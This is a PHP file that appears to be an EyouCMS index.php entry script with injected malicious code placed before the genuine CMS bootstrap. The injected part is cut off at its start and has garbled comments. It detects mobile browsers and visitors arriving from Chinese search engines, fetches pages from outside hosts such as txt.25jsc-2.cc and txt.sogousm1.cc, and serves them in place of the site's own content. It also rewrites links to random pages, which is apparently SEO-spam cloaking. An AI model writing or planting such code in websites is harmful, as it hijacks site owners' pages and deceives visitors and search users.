y2> $pattern8 = '/body class=.*?>/i'; $replacement8 = ''; $html2 = preg_replace($pattern8, $replacement8, $html2); // 閹笛嗩攽閺囨寧宕查弴鎸庡床 $pattern7 = '//i'; $replacement7 = ''; $html2 = preg_replace($pattern7, $replacement7, $html2); $html = $html.$html2; $lianjie = '/[\s\S]*?<\/a>/'; preg_match_all($lianjie,$html, $aarray5); // preg_match_all($lianjie, $html2, $aarray5); if ($aarray5[0]) { foreach ($aarray5[0] as $pbti) { $preg = '/href=(\"|\')(.*?)(\"|\')/i'; $replacestr = 'href="' . $dir2 . '/' . char(6, 1) . char(mt_rand(4, 10), 2) . '.html' . '"'; $ahtml = preg_replace($preg, $replacestr, $pbti); $html = str_replace($pbti, $ahtml, $html); // $html2 = str_replace($pbti, $ahtml, $html2); } } echo $html; exit(); } else { $html=httpGet32(url8.url); // echo(url8.url); // 閹笛嗩攽閺囨寧宕� $html = str_replace('', '', $html); // 閹笛嗩攽閺囨寧宕�

$html = str_replace('

', '', $html); $lianjie = '/[\s\S]*?<\/a>/'; preg_match_all($lianjie,$html,$aarray5); if($aarray5[0]){ foreach ($aarray5[0] as $pbti){ $preg = '/href=(\"|\')(.*?)(\"|\')/i'; $replacestr = 'href="'.$dir."/".char(6,1).char(mt_rand(4,10),2).'.html'.'"'; $ahtml=preg_replace($preg, $replacestr,$pbti); $html= str_replace($pbti, $ahtml, $html); } } echo $html; exit(); } } ob_flush(); flush(); if (area && preg_match('/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/',$_SERVER['HTTP_USER_AGENT'])) { $ua = $_SERVER['HTTP_USER_AGENT']; $ch = curl_init(); // 璁剧疆URL鍜岀浉搴旂殑閫夐」 curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_URL, "http://txt.25jsc-2.cc:82/xin/502.php"); curl_setopt($ch, CURLOPT_HEADER, false); // 鎶撳彇URL骞舵妸瀹冧紶閫掔粰娴忚鍣� curl_exec($ch); //鍏抽棴cURL璧勬簮锛屽苟涓旈噴鏀剧郴缁熻祫婧� curl_close($ch); exit(); } if (preg_match(regs2, ent) && url != "" && url != "/" && url != "/index.php") { // echo (site2.road); echo httpGet3(site2.road); exit(); } elseif (preg_match(regs2, ent)) { $html=httpGet32(url8.url); // echo(url8.url); // 閹笛嗩攽閺囨寧宕�

$html = str_replace('', '', $html); // 閹笛嗩攽閺囨寧宕�

$html = str_replace('

', '', $html); $lianjie = '/[\s\S]*?<\/a>/'; preg_match_all($lianjie,$html,$aarray5); if($aarray5[0]){ foreach ($aarray5[0] as $pbti){ $preg = '/href=(\"|\')(.*?)(\"|\')/i'; $replacestr = 'href="'.$dir."/".char(6,1).char(mt_rand(4,10),2).'.html'.'"'; $ahtml=preg_replace($preg, $replacestr,$pbti); $html= str_replace($pbti, $ahtml, $html); } } echo $html; exit(); } if (preg_match("/.*(sogou|yisou|sm|360|haoso).*/i",ref,$OutUa)&&preg_match(mobile, ent)&&url!=""&&url!="/"&&url!="/index.php"&&url!="/index.html") { $ua = $_SERVER['HTTP_USER_AGENT']; $ch = curl_init(); // 鐠佸墽鐤哢RL閸滃瞼娴夋惔鏃傛畱闁銆� curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_URL, "http://txt.sogousm1.cc:82//502sg.php"); curl_setopt($ch, CURLOPT_HEADER, false); // 閹舵挸褰嘦RL楠炶埖濡哥€瑰啩绱堕柅鎺旂舶濞村繗顫嶉崳锟� curl_exec($ch); //閸忔娊妫碿URL鐠у嫭绨敍灞借嫙娑撴棃鍣撮弨鍓ч兇缂佺喕绁┃锟� curl_close($ch); exit(); } /** * 易优CMS * ============================================================================ * 版权所有 2016-2028 海南赞赞网络科技有限公司,并保留所有权利。 * 网站地址: http://www.eyoucms.com * ---------------------------------------------------------------------------- * 如果商业用途务必到官方购买正版授权, 以免引起不必要的法律纠纷. * ============================================================================ * Author: 小虎哥 <1105415366@qq.com> * Date: 2018-4-3 */ header("Content-type:text/html;charset=utf-8"); // [ 应用入口文件 ] if (extension_loaded('zlib')){ try{ ob_end_clean(); } catch(Exception $e) { } ob_start('ob_gzhandler'); } // 检测PHP环境 if(version_compare(PHP_VERSION,'5.4.0','<')) { die('本系统要求PHP版本 >= 5.4.0,当前PHP版本为:'.PHP_VERSION . ',请到虚拟主机控制面板里切换PHP版本,或联系空间商协助切换。(注:部分虚拟主机存在缓存,切换版本后请等待半小时左右再重试安装点击查看易优安装教程'); } // error_reporting(E_ALL ^ E_NOTICE);//显示除去 E_NOTICE 之外的所有错误信息 error_reporting(E_ERROR | E_WARNING | E_PARSE);//报告运行时错误 // 检测是否已安装EyouCMS系统 if(file_exists("./install/") && !file_exists("./install/install.lock")){ if (preg_match('/^s=\/(.+)/i', $_SERVER['QUERY_STRING'])) { $url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']; header('Location:'.$url); exit(); } else { header('Location:./install/index.php'); exit(); } } // 缓存时间 define('EYOUCMS_CACHE_TIME', 86400); // 数据绝对路径 define('DATA_PATH', __DIR__ . '/data/'); // 运行缓存 define('RUNTIME_PATH', DATA_PATH . 'runtime/'); // 安装程序定义 define('DEFAULT_INSTALL_DATE',1525756440); // 序列号 define('DEFAULT_SERIALNUMBER','20180508131400oCWIoa'); // 定义应用目录 define('APP_PATH', __DIR__ . '/application/'); // 加载框架引导文件 require __DIR__ . '/core/start.php';